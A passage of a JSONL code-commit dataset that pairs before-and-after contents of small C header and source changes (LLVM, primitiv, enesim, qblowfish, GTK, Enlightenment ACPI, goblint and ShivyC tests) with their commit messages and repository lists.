ltoa\n","lang":"C","license":"lgpl-2.1","repos":"leftbrainstrain\/Arduino-ESP8266,mateuszdw\/Arduino,aichi\/Arduino-2,paulmand3l\/Arduino,NeuralSpaz\/Arduino,piersoft\/esp8266-Arduino,myrtleTree33\/Arduino,piersoft\/esp8266-Arduino,ogahara\/Arduino,weera00\/Arduino,mateuszdw\/Arduino,toddtreece\/esp8266-Arduino,Cloudino\/Arduino,Protoneer\/Arduino,mattvenn\/Arduino,paulo-raca\/ESP8266-Arduino,andrealmeidadomingues\/Arduino,jomolinare\/Arduino,benwolfe\/esp8266-Arduino,koltegirish\/Arduino,aichi\/Arduino-2,danielchalef\/Arduino,plaintea\/esp8266-Arduino,sanyaade-iot\/Arduino-1,Protoneer\/Arduino,plaintea\/esp8266-Arduino,eeijcea\/Arduino-1,fungxu\/Arduino,myrtleTree33\/Arduino,tannewt\/Arduino,EmuxEvans\/Arduino,piersoft\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,wdoganowski\/Arduino,shiitakeo\/Arduino,plaintea\/esp8266-Arduino,drpjk\/Arduino,paulmand3l\/Arduino,probonopd\/Arduino,mattvenn\/Arduino,Protoneer\/Arduino,Alfredynho\/AgroSis,fungxu\/Arduino,SmartArduino\/Arduino-1,EmuxEvans\/Arduino,Alfredynho\/AgroSis,myrtleTree33\/Arduino,eeijcea\/Arduino-1,andrealmeidadomingues\/Arduino,nkolban\/Arduino,Cloudino\/Arduino,plaintea\/esp8266-Arduino,gonium\/Arduino,mangelajo\/Arduino,koltegirish\/Arduino,paulmand3l\/Arduino,sanyaade-iot\/Arduino-1,plinioseniore\/Arduino,adafruit\/ESP8266-Arduino,mboufos\/esp8266-Arduino,mangelajo\/Arduino,plaintea\/esp8266-Arduino,andrealmeidadomingues\/Arduino,Cloudino\/Cloudino-Arduino-IDE,paulmand3l\/Arduino,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,SmartArduino\/Arduino-1,paulo-raca\/ESP8266-Arduino,sanyaade-iot\/Arduino-1,gonium\/Arduino,aichi\/Arduino-2,shiitakeo\/Arduino,mattvenn\/Arduino,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,EmuxEvans\/Arduino,shiitakeo\/Arduino,Cloudino\/Cloudino-Arduino-IDE,radut\/Arduino,plinioseniore\/Arduino,mangelajo\/Arduino,weera00\/Arduino,NeuralSpaz\/Arduino,gonium\/Arduino,jomolinare\/Arduino,ogahara\/Arduino,mc-hamster\/esp8266-Arduino,eeijcea\/Arduino-1,piersoft\/esp8266-Arduino,ssvs111\/Arduino,jomolinare\/Arduino,mattvenn\/Arduino,Cloudino\/Cloudino-Arduino-IDE,SmartArduino\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,Protoneer\/Arduino,benwolfe\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,mattvenn\/Arduino,shiitakeo\/Arduino,mc-hamster\/esp8266-Arduino,tannewt\/Arduino,Cloudino\/Cloudino-Arduino-IDE,drpjk\/Arduino,andrealmeidadomingues\/Arduino,benwolfe\/esp8266-Arduino,zenmanenergy\/Arduino,SmartArduino\/Arduino-1,Alfredynho\/AgroSis,danielchalef\/Arduino,noahchense\/Arduino-1,noahchense\/Arduino-1,raimohanska\/Arduino,smily77\/Arduino,probonopd\/Arduino,benwolfe\/esp8266-Arduino,gonium\/Arduino,probonopd\/Arduino,eeijcea\/Arduino-1,eeijcea\/Arduino-1,danielchalef\/Arduino,EmuxEvans\/Arduino,nkolban\/Arduino,spapadim\/Arduino,mboufos\/esp8266-Arduino,toddtreece\/esp8266-Arduino,ssvs111\/Arduino,fungxu\/Arduino,Protoneer\/Arduino,radut\/Arduino,spapadim\/Arduino,gonium\/Arduino,weera00\/Arduino,sanyaade-iot\/Arduino-1,spapadim\/Arduino,paulmand3l\/Arduino,Alfredynho\/AgroSis,mateuszdw\/Arduino,jomolinare\/Arduino,mc-hamster\/esp8266-Arduino,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,zenmanenergy\/Arduino,nkolban\/Arduino,mattvenn\/Arduino,EmuxEvans\/Arduino,Alfredynho\/AgroSis,weera00\/Arduino,jomolinare\/Arduino,probonopd\/Arduino,nkolban\/Arduino,spapadim\/Arduino,probonopd\/Arduino,NeuralSpaz\/Arduino,zenmanenergy\/Arduino,nkolban\/Arduino,mboufos\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,gonium\/Arduino,benwolfe\/esp8266-Arduino,adafruit\/ESP8266-Arduino,zenmanenergy\/Arduino,andrealmeidadomingues\/Arduino,adafruit\/ESP8266-Arduino,danielchalef\/Arduino,myrtleTree33\/Arduino,ogahara\/Arduino,eeijcea\/Arduino-1,weera00\/Arduino,radut\/Arduino,fungxu\/Arduino,aichi\/Arduino-2,spapadim\/Arduino,SmartArduino\/Arduino-1,fungxu\/Arduino,koltegirish\/Arduino,Cloudino\/Arduino,raimohanska\/Arduino,Cloudino\/Cloudino-Arduino-IDE,danielchalef\/Arduino,mateuszdw\/Arduino,Protoneer\/Arduino,ssvs111\/Arduino,drpjk\/Arduino,probonopd\/Arduino,raimohanska\/Arduino,Cloudino\/Arduino,aichi\/Arduino-2,sanyaade-iot\/Arduino-1,fungxu\/Arduino,radut\/Arduino,noahchense\/Arduino-1,Alfredynho\/AgroSis,sanyaade-iot\/Arduino-1,paulmand3l\/Arduino,mateuszdw\/Arduino,wdoganowski\/Arduino,noahchense\/Arduino-1,EmuxEvans\/Arduino,raimohanska\/Arduino,ogahara\/Arduino,smily77\/Arduino,drpjk\/Arduino,ssvs111\/Arduino,koltegirish\/Arduino,NeuralSpaz\/Arduino,toddtreece\/esp8266-Arduino,ssvs111\/Arduino,eeijcea\/Arduino-1,drpjk\/Arduino,mc-hamster\/esp8266-Arduino,noahchense\/Arduino-1,wdoganowski\/Arduino,ssvs111\/Arduino,koltegirish\/Arduino,mangelajo\/Arduino,mboufos\/esp8266-Arduino,ogahara\/Arduino,plinioseniore\/Arduino,adafruit\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,smily77\/Arduino,radut\/Arduino,mc-hamster\/esp8266-Arduino,koltegirish\/Arduino,plinioseniore\/Arduino,weera00\/Arduino,paulo-raca\/ESP8266-Arduino,SmartArduino\/Arduino-1,sanyaade-iot\/Arduino-1,paulmand3l\/Arduino,shiitakeo\/Arduino,leftbrainstrain\/Arduino-ESP8266,mateuszdw\/Arduino,zenmanenergy\/Arduino,plinioseniore\/Arduino,leftbrainstrain\/Arduino-ESP8266,leftbrainstrain\/Arduino-ESP8266,smily77\/Arduino,noahchense\/Arduino-1,Protoneer\/Arduino,shiitakeo\/Arduino,mangelajo\/Arduino,jomolinare\/Arduino,wdoganowski\/Arduino,radut\/Arduino,gonium\/Arduino,nkolban\/Arduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,zenmanenergy\/Arduino,drpjk\/Arduino,smily77\/Arduino,tannewt\/Arduino,mattvenn\/Arduino,plinioseniore\/Arduino,tannewt\/Arduino,probonopd\/Arduino,aichi\/Arduino-2,mangelajo\/Arduino,wdoganowski\/Arduino,fungxu\/Arduino,mboufos\/esp8266-Arduino,danielchalef\/Arduino,ogahara\/Arduino,aichi\/Arduino-2,smily77\/Arduino,Cloudino\/Arduino,smily77\/Arduino,koltegirish\/Arduino,ssvs111\/Arduino,raimohanska\/Arduino,paulo-raca\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,raimohanska\/Arduino,spapadim\/Arduino,drpjk\/Arduino,NeuralSpaz\/Arduino,tannewt\/Arduino,mangelajo\/Arduino,spapadim\/Arduino,plinioseniore\/Arduino,NeuralSpaz\/Arduino,SmartArduino\/Arduino-1,raimohanska\/Arduino,andrealmeidadomingues\/Arduino,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,EmuxEvans\/Arduino,radut\/Arduino,paulo-raca\/ESP8266-Arduino,Alfredynho\/AgroSis,andrealmeidadomingues\/Arduino,wdoganowski\/Arduino,danielchalef\/Arduino,ogahara\/Arduino,tannewt\/Arduino,NeuralSpaz\/Arduino,tannewt\/Arduino,zenmanenergy\/Arduino,noahchense\/Arduino-1,nkolban\/Arduino,jomolinare\/Arduino,weera00\/Arduino,piersoft\/esp8266-Arduino,Cloudino\/Arduino,wdoganowski\/Arduino"}
{"commit":"bf4ff33e22ae48df8793db370efb85024443fc43","old_file":"include\/llvm\/Bytecode\/Reader.h","new_file":"include\/llvm\/Bytecode\/Reader.h","old_contents":"\/\/===-- llvm\/Bytecode\/Reader.h - Reader for VM bytecode files ----*- C++ -*--=\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/Bytecode\/Reader library.\n\/\/ This library is used to read VM bytecode files from an iostream.\n\/\/\n\/\/ Note that performance of this library is _crucial_ for performance of the\n\/\/ JIT type applications, so we have designed the bytecode format to support\n\/\/ quick reading.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_READER_H\n#define LLVM_BYTECODE_READER_H\n\n#include <string>\n#include <vector>\n\nclass Module;\n\n\/\/ Parse and return a class...\n\/\/\nModule *ParseBytecodeFile(const std::string &Filename,\n                          std::string *ErrorStr = 0);\nModule *ParseBytecodeBuffer(const unsigned char *Buffer, unsigned BufferSize,\n                            std::string *ErrorStr = 0);\n\n\/\/ ReadArchiveFile - Read bytecode files from the specfied .a file, returning\n\/\/ true on error, or false on success.\n\/\/\nbool ReadArchiveFile(const std::string &Filename, std::vector<Module*> &Objects,\n                     std::string *ErrorStr = 0);\n\n#endif\n","new_contents":"\/\/===-- llvm\/Bytecode\/Reader.h - Reader for VM bytecode files ----*- C++ -*--=\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/Bytecode\/Reader library.\n\/\/ This library is used to read VM bytecode files from an iostream.\n\/\/\n\/\/ Note that performance of this library is _crucial_ for performance of the\n\/\/ JIT type applications, so we have designed the bytecode format to support\n\/\/ quick reading.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_READER_H\n#define LLVM_BYTECODE_READER_H\n\n#include <string>\n#include <vector>\n\nclass Module;\n\n\/\/ Parse and return a class...\n\/\/\nModule *ParseBytecodeFile(const std::string &Filename,\n                          std::string *ErrorStr = 0);\nModule *ParseBytecodeBuffer(const unsigned char *Buffer, unsigned BufferSize,\n                            const std::string &ModuleID,\n                            std::string *ErrorStr = 0);\n\n\/\/ ReadArchiveFile - Read bytecode files from the specfied .a file, returning\n\/\/ true on error, or false on success.\n\/\/\nbool ReadArchiveFile(const std::string &Filename, std::vector<Module*> &Objects,\n                     std::string *ErrorStr = 0);\n\n#endif\n","subject":"Add information about the module source","message":"Add information about the module source\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@5837 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"b0e63575233eace638e73b198167f38705ded905","old_file":"primitiv\/c\/api.h","new_file":"primitiv\/c\/api.h","old_contents":"\/* Copyright 2017 The primitiv Authors. All Rights Reserved. *\/\n\n#ifndef PRIMITIV_C_API_H_\n#define PRIMITIV_C_API_H_\n\n#include <primitiv\/config.h>\n\n#include <primitiv\/c\/graph.h>\n#include <primitiv\/c\/initializer_impl.h>\n#include <primitiv\/c\/model.h>\n#include <primitiv\/c\/naive_device.h>\n#include <primitiv\/c\/functions.h>\n#include <primitiv\/c\/parameter.h>\n#include <primitiv\/c\/shape.h>\n#include <primitiv\/c\/status.h>\n#include <primitiv\/c\/tensor.h>\n#include <primitiv\/c\/optimizer_impl.h>\n\n\/\/ Header files for specific device classes.\n#ifdef PRIMITIV_USE_EIGEN\n#include <primitiv\/c\/eigen_device.h>\n#endif  \/\/ PRIMITIV_USE_EIGEN\n#ifdef PRIMITIV_USE_CUDA\n#include <primitiv\/c\/cuda_device.h>\n#endif  \/\/ PRIMITIV_USE_CUDA\n#ifdef PRIMITIV_USE_OPENCL\n#include <primitiv\/c\/opencl_device.h>\n\n#endif  \/\/ PRIMITIV_C_API_H_\n","new_contents":"\/* Copyright 2017 The primitiv Authors. All Rights Reserved. *\/\n\n#ifndef PRIMITIV_C_API_H_\n#define PRIMITIV_C_API_H_\n\n#include <primitiv\/config.h>\n\n#include <primitiv\/c\/graph.h>\n#include <primitiv\/c\/initializer_impl.h>\n#include <primitiv\/c\/model.h>\n#include <primitiv\/c\/naive_device.h>\n#include <primitiv\/c\/functions.h>\n#include <primitiv\/c\/parameter.h>\n#include <primitiv\/c\/shape.h>\n#include <primitiv\/c\/status.h>\n#include <primitiv\/c\/tensor.h>\n#include <primitiv\/c\/optimizer_impl.h>\n\n\/\/ Header files for specific device classes.\n#ifdef PRIMITIV_USE_EIGEN\n#include <primitiv\/c\/eigen_device.h>\n#endif  \/\/ PRIMITIV_USE_EIGEN\n#ifdef PRIMITIV_USE_CUDA\n#include <primitiv\/c\/cuda_device.h>\n#endif  \/\/ PRIMITIV_USE_CUDA\n#ifdef PRIMITIV_USE_OPENCL\n#include <primitiv\/c\/opencl_device.h>\n#endif  \/\/ PRIMITIV_USE_OPENCL\n\n#endif  \/\/ PRIMITIV_C_API_H_\n","subject":"Add endif statement to the C API header.","message":"Add endif statement to the C API header.\n","lang":"C","license":"apache-2.0","repos":"odashi\/primitiv,odashi\/primitiv,odashi\/primitiv"}
{"commit":"d484ae979059e596c9fb1d4fb02008f86b0e1bd6","old_file":"Pinmark\/NSURL+Pinmark.h","new_file":"Pinmark\/NSURL+Pinmark.h","old_contents":"\/\/\n\/\/  NSURL+Pinmark.h\n\/\/  Pinmark\n\/\/\n\/\/  Created by Kyle Stevens on 12\/24\/13.\n\/\/  Copyright (c) 2013 kilovolt42. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSURL (Pinmark)\n\n- (NSDictionary *)queryParameters;\n\n@end\n","new_contents":"\/\/\n\/\/  NSURL+Pinmark.h\n\/\/  Pinmark\n\/\/\n\/\/  Created by Kyle Stevens on 12\/24\/13.\n\/\/  Copyright (c) 2013 kilovolt42. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSURL (Pinmark)\n\n\/**\n * Creates a dictionary of the query parameters in which fields are keys for the corresponding values.\n * Does not support array parameters at this time.\n *\n * @return A dictionary of query parameters.\n *\/\n- (NSDictionary *)queryParameters;\n\n@end\n","subject":"Add documentation for NSURL category","message":"Add documentation for NSURL category\n","lang":"C","license":"mit","repos":"kilovolt42\/Pinmarker,kilovolt42\/Pinmarker,kilovolt42\/Pinmarker"}
{"commit":"4b386b1c0380d7d3d2a34828308d0290a350a59e","old_file":"src\/include\/enesim_rectangle.h","new_file":"src\/include\/enesim_rectangle.h","old_contents":"","new_contents":"\/* ENESIM - Direct Rendering Library\n * Copyright (C) 2007-2011 Jorge Luis Zapata\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library.\n * If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#ifndef ENESIM_RECTANGLE_H_\n#define ENESIM_RECTANGLE_H_\n\/**\n * @defgroup Enesim_Rectangle_Group Rectangle\n * @{\n * @todo\n *\/\n\ntypedef struct _Enesim_Rectangle\n{\n\tdouble x;\n\tdouble y;\n\tdouble w;\n\tdouble h;\n} Enesim_Rectangle;\n\n\/**\n * @}\n *\/\n#endif\n","subject":"Add a rectangle definition for enesim","message":"Add a rectangle definition for enesim\n\n","lang":"C","license":"lgpl-2.1","repos":"turran\/enesim,turran\/enesim,turran\/enesim,turran\/enesim"}
{"commit":"d1fcb30ab60fc32525798a3992e5db0256f5ce71","old_file":"src\/qblowfish.h","new_file":"src\/qblowfish.h","old_contents":"#ifndef QBLOWFISH_H\n#define QBLOWFISH_H\n\n#include <QByteArray>\n\nclass QBlowfish\n{\npublic:\n    QBlowfish(const QByteArray &key);\n    bool init();\n\n    \/\/ Padding:\n    \/\/\n    \/\/ Blowfish works on 8-byte blocks. Padding makes it usable even\n    \/\/ in case where the input size is not in exact 8-byte blocks.\n    \/\/\n    \/\/ If padding is disabled (the default), encrypt() will work only if the\n    \/\/ input size (in bytes) is a multiple of 8. (If it's not a multiple of 8,\n    \/\/ encrypt() will return a null bytearray.)\n    \/\/\n    \/\/ If padding is enabled, we increase the input length to a multiple of 8\n    \/\/ by padding bytes as per PKCS5\n    \/\/\n    \/\/ If padding was enabled during encryption, it should be enabled during\n    \/\/ decryption for correct decryption (and vice versa).\n\n    void setPaddingEnabled(bool enabled);\n    bool paddingEnabled() const;\n\n    \/\/ Encrypt \/ decrypt\n    QByteArray encrypted(const QByteArray &clearText);\n    QByteArray decrypted(const QByteArray &cipherText);\n\nprivate:\n    \/\/ core encrypt\/decrypt methods, encrypts\/decrypts in-place\n    void coreEncrypt(char *x);\n    void coreDecrypt(char *x);\n\n    QByteArray m_key;\n    bool m_initialized;\n    bool m_paddingEnabled;\n    QByteArray m_parray;\n    QByteArray m_sbox1, m_sbox2, m_sbox3, m_sbox4;\n};\n\n#endif \/\/ QBLOWFISH_H\n","new_contents":"#ifndef QBLOWFISH_H\n#define QBLOWFISH_H\n\n#include <QByteArray>\n\nclass QBlowfish\n{\npublic:\n    QBlowfish(const QByteArray &key);\n    bool init();\n\n    \/\/ Padding:\n    \/\/\n    \/\/ Blowfish works on 8-byte blocks. Padding makes it usable even\n    \/\/ in case where the input size is not in exact 8-byte blocks.\n    \/\/\n    \/\/ If padding is disabled (the default), encrypted() will work only if the\n    \/\/ input size (in bytes) is a multiple of 8. (If it's not a multiple of 8,\n    \/\/ encrypted() will return a null bytearray.)\n    \/\/\n    \/\/ If padding is enabled, we increase the input length to a multiple of 8\n    \/\/ by padding bytes as per PKCS5\n    \/\/\n    \/\/ If padding was enabled during encryption, it should be enabled during\n    \/\/ decryption for correct decryption (and vice versa).\n\n    void setPaddingEnabled(bool enabled);\n    bool paddingEnabled() const;\n\n    \/\/ Encrypt \/ decrypt\n    QByteArray encrypted(const QByteArray &clearText);\n    QByteArray decrypted(const QByteArray &cipherText);\n\nprivate:\n    \/\/ core encrypt\/decrypt methods, encrypts\/decrypts in-place\n    void coreEncrypt(char *x);\n    void coreDecrypt(char *x);\n\n    QByteArray m_key;\n    bool m_initialized;\n    bool m_paddingEnabled;\n    QByteArray m_parray;\n    QByteArray m_sbox1, m_sbox2, m_sbox3, m_sbox4;\n};\n\n#endif \/\/ QBLOWFISH_H\n","subject":"Fix comment to reflect the change in the function name","message":"Fix comment to reflect the change in the function name\n","lang":"C","license":"mit","repos":"roop\/qblowfish,roop\/qblowfish"}
{"commit":"17fec70022c30695ca9a1cbaab4494f92668a317","old_file":"tests\/variable.h","new_file":"tests\/variable.h","old_contents":"#ifndef __VARIABLE_H__\n#define __VARAIBLE_H__\n\ntypedef struct\n{\n  double weight;\n  double sum;\n  double sum2;\n} Variable;\n\n#define VARIABLE_INIT { 0.0, 0.0, 0.0 }\n\nvoid   variable_init               (Variable *variable);\nvoid   variable_add_weighted       (Variable *variable,\n                                    double    value,\n                                    double    weight);\nvoid   variable_add                (Variable *variable,\n                                    double    value);\ndouble variable_mean               (Variable *variable);\ndouble variable_standard_deviation (Variable *variable);\nvoid   variable_reset              (Variable *variable);\n\n#endif \/* __VARIABLE_H__ *\/\n\n","new_contents":"#ifndef __VARIABLE_H__\n#define __VARIABLE_H__\n\ntypedef struct\n{\n  double weight;\n  double sum;\n  double sum2;\n} Variable;\n\n#define VARIABLE_INIT { 0.0, 0.0, 0.0 }\n\nvoid   variable_init               (Variable *variable);\nvoid   variable_add_weighted       (Variable *variable,\n                                    double    value,\n                                    double    weight);\nvoid   variable_add                (Variable *variable,\n                                    double    value);\ndouble variable_mean               (Variable *variable);\ndouble variable_standard_deviation (Variable *variable);\nvoid   variable_reset              (Variable *variable);\n\n#endif \/* __VARIABLE_H__ *\/\n\n","subject":"Fix another header guard oversight","message":"Fix another header guard oversight\n\nPointed out in https:\/\/bugzilla.gnome.org\/show_bug.cgi?id=741252\n","lang":"C","license":"lgpl-2.1","repos":"davidgumberg\/gtk,ahodesuka\/gtk,davidgumberg\/gtk,jadahl\/gtk,alexlarsson\/gtk,jigpu\/gtk,alexlarsson\/gtk,ahodesuka\/gtk,chergert\/gtk,chergert\/gtk,ahodesuka\/gtk,grubersjoe\/adwaita,jigpu\/gtk,grubersjoe\/adwaita,Lyude\/gtk-,davidgumberg\/gtk,grubersjoe\/adwaita,jadahl\/gtk,jigpu\/gtk,jadahl\/gtk,jigpu\/gtk,Lyude\/gtk-,davidgumberg\/gtk,jadahl\/gtk,jigpu\/gtk,grubersjoe\/adwaita,alexlarsson\/gtk,chergert\/gtk,jadahl\/gtk,ahodesuka\/gtk,alexlarsson\/gtk,chergert\/gtk,Adamovskiy\/gtk,Adamovskiy\/gtk,alexlarsson\/gtk,Adamovskiy\/gtk,Lyude\/gtk-,alexlarsson\/gtk,Adamovskiy\/gtk,ahodesuka\/gtk,chergert\/gtk,jigpu\/gtk,Adamovskiy\/gtk,Lyude\/gtk-,grubersjoe\/adwaita,grubersjoe\/adwaita,Lyude\/gtk-,grubersjoe\/adwaita,Adamovskiy\/gtk,Lyude\/gtk-,Adamovskiy\/gtk,Lyude\/gtk-,Lyude\/gtk-,Adamovskiy\/gtk,jadahl\/gtk,davidgumberg\/gtk,ahodesuka\/gtk,chergert\/gtk,jadahl\/gtk,davidgumberg\/gtk,davidgumberg\/gtk,ahodesuka\/gtk,alexlarsson\/gtk,chergert\/gtk,jigpu\/gtk,davidgumberg\/gtk,chergert\/gtk,jadahl\/gtk,jigpu\/gtk,grubersjoe\/adwaita,ahodesuka\/gtk,alexlarsson\/gtk"}
{"commit":"7ec36884712e027f5c4a9124f5b5994b8b5b4db0","old_file":"src\/bin\/e_acpi.h","new_file":"src\/bin\/e_acpi.h","old_contents":"#ifdef E_TYPEDEFS\n\n\/* enum for various event types *\/\ntypedef enum _E_Acpi_Type \n{\n   E_ACPI_TYPE_UNKNOWN = 0,\n   E_ACPI_TYPE_LID,\n   E_ACPI_TYPE_BATTERY,\n   E_ACPI_TYPE_BUTTON,\n   E_ACPI_TYPE_SLEEP,\n   E_ACPI_TYPE_WIFI\n} E_Acpi_Type;\n\n\/* struct used to pass to event handlers *\/\ntypedef struct _E_Event_Acpi E_Event_Acpi;\n\n#else\n# ifndef E_ACPI_H\n#  define E_ACPI_H\n\nstruct _E_Event_Acpi \n{\n   const char *device, *bus_id;\n   int type, data;\n};\n\nEAPI int e_acpi_init(void);\nEAPI int e_acpi_shutdown(void);\n\nextern EAPI int E_EVENT_ACPI_LID;\nextern EAPI int E_EVENT_ACPI_BATTERY;\nextern EAPI int E_EVENT_ACPI_BUTTON;\nextern EAPI int E_EVENT_ACPI_SLEEP;\nextern EAPI int E_EVENT_ACPI_WIFI;\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n\n\/* enum for various event types *\/\ntypedef enum _E_Acpi_Type \n{\n   E_ACPI_TYPE_UNKNOWN = 0,\n   E_ACPI_TYPE_BATTERY,\n   E_ACPI_TYPE_BUTTON,\n   E_ACPI_TYPE_FAN,\n   E_ACPI_TYPE_LID,\n   E_ACPI_TYPE_PROCESSOR,\n   E_ACPI_TYPE_SLEEP,\n   E_ACPI_TYPE_POWER,\n   E_ACPI_TYPE_THERMAL,\n   E_ACPI_TYPE_VIDEO,\n   E_ACPI_TYPE_WIFI\n} E_Acpi_Type;\n\n\/* struct used to pass to event handlers *\/\ntypedef struct _E_Event_Acpi E_Event_Acpi;\n\n#else\n# ifndef E_ACPI_H\n#  define E_ACPI_H\n\nstruct _E_Event_Acpi \n{\n   const char *device, *bus_id;\n   int type, data;\n};\n\nEAPI int e_acpi_init(void);\nEAPI int e_acpi_shutdown(void);\n\nextern EAPI int E_EVENT_ACPI_LID;\nextern EAPI int E_EVENT_ACPI_BATTERY;\nextern EAPI int E_EVENT_ACPI_BUTTON;\nextern EAPI int E_EVENT_ACPI_SLEEP;\nextern EAPI int E_EVENT_ACPI_WIFI;\n\n# endif\n#endif\n","subject":"Add some more acpi event types that we will handle.","message":"Add some more acpi event types that we will handle.\n\n\n\nSVN revision: 48916\n","lang":"C","license":"bsd-2-clause","repos":"tizenorg\/platform.upstream.enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment"}
{"commit":"dce6cca0fa0c6ef05a203c96588906a399c007ba","old_file":"tests\/regression\/04-mutex\/56-extern_call_by_ptr_rc.c","new_file":"tests\/regression\/04-mutex\/56-extern_call_by_ptr_rc.c","old_contents":"","new_contents":"#include<pthread.h>\n\nextern void foo(int (*callback)());\n\n\nint glob;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&mutex2);\n  glob=glob+1; \/\/ RACE!\n  pthread_mutex_unlock(&mutex2);\n  return NULL;\n}\n\nint bar() {\n  pthread_mutex_lock(&mutex1);\n  glob=glob+1; \/\/ RACE!\n  pthread_mutex_unlock(&mutex1);\n  return 0;\n}\n\nint main() {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n  foo(bar);\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Add regression test for extern function calling\/spawning function pointer argument","message":"Add regression test for extern function calling\/spawning function pointer argument\n\n04\/19 previously used custom_libc although that was actually unnecessary.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"3af52b4c0ff95af8344cacd16a2cee827d6301cc","old_file":"source\/main.c","new_file":"source\/main.c","old_contents":"#include <stdio.h>\n\nint main(void) {\n\n\treturn(0);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/ioctl.h>\n#include <ncurses.h>\n\nstruct winsize terminalSize;\n\nvoid initScreen(void) {\n\tinitscr();\n\tnoecho();\n\tnocbreak();\n}\n\nvoid closeScreen(void) {\n\tendwin();\n}\n\nvoid getScreenSize(void) {\n\tif (ioctl(0, TIOCGWINSZ, (char *) &terminalSize) < 0) {\n\t\tprintf(\"The program canno't determine terminal size.\\r\\n\\r\\n\");\n\t\texit(1);\n\t}\n}\n\nint main(void) {\n\tinitScreen();\n\tgetScreenSize();\n\tmove(10,10);\n\tprintw(\"Terminal size is %dx%d\", terminalSize.ws_col, terminalSize.ws_row);\n\tgetch();\n\tcloseScreen();\n\treturn(0);\n}\n","subject":"Add the initial NCurses support for the program.","message":"Add the initial NCurses support for the program.\n","lang":"C","license":"unlicense","repos":"pacmanalx\/fastview,pacmanalx\/fastview"}
{"commit":"36cba37a4d0e7ca84753315ed4191b195ab3db21","old_file":"tests\/ctests\/error_incr_decr.c","new_file":"tests\/ctests\/error_incr_decr.c","old_contents":"","new_contents":"int main() {\n  \/\/ Issue: 3: error: operand of increment operator not a modifiable lvalue\n  4--;\n\n  int array[5];\n  \/\/ Issue: 7: error: operand of increment operator not a modifiable lvalue\n  array--;\n}\n","subject":"Add incr decr error test","message":"Add incr decr error test\n","lang":"C","license":"mit","repos":"ShivamSarodia\/ShivyC,ShivamSarodia\/ShivyC,ShivamSarodia\/ShivyC"}
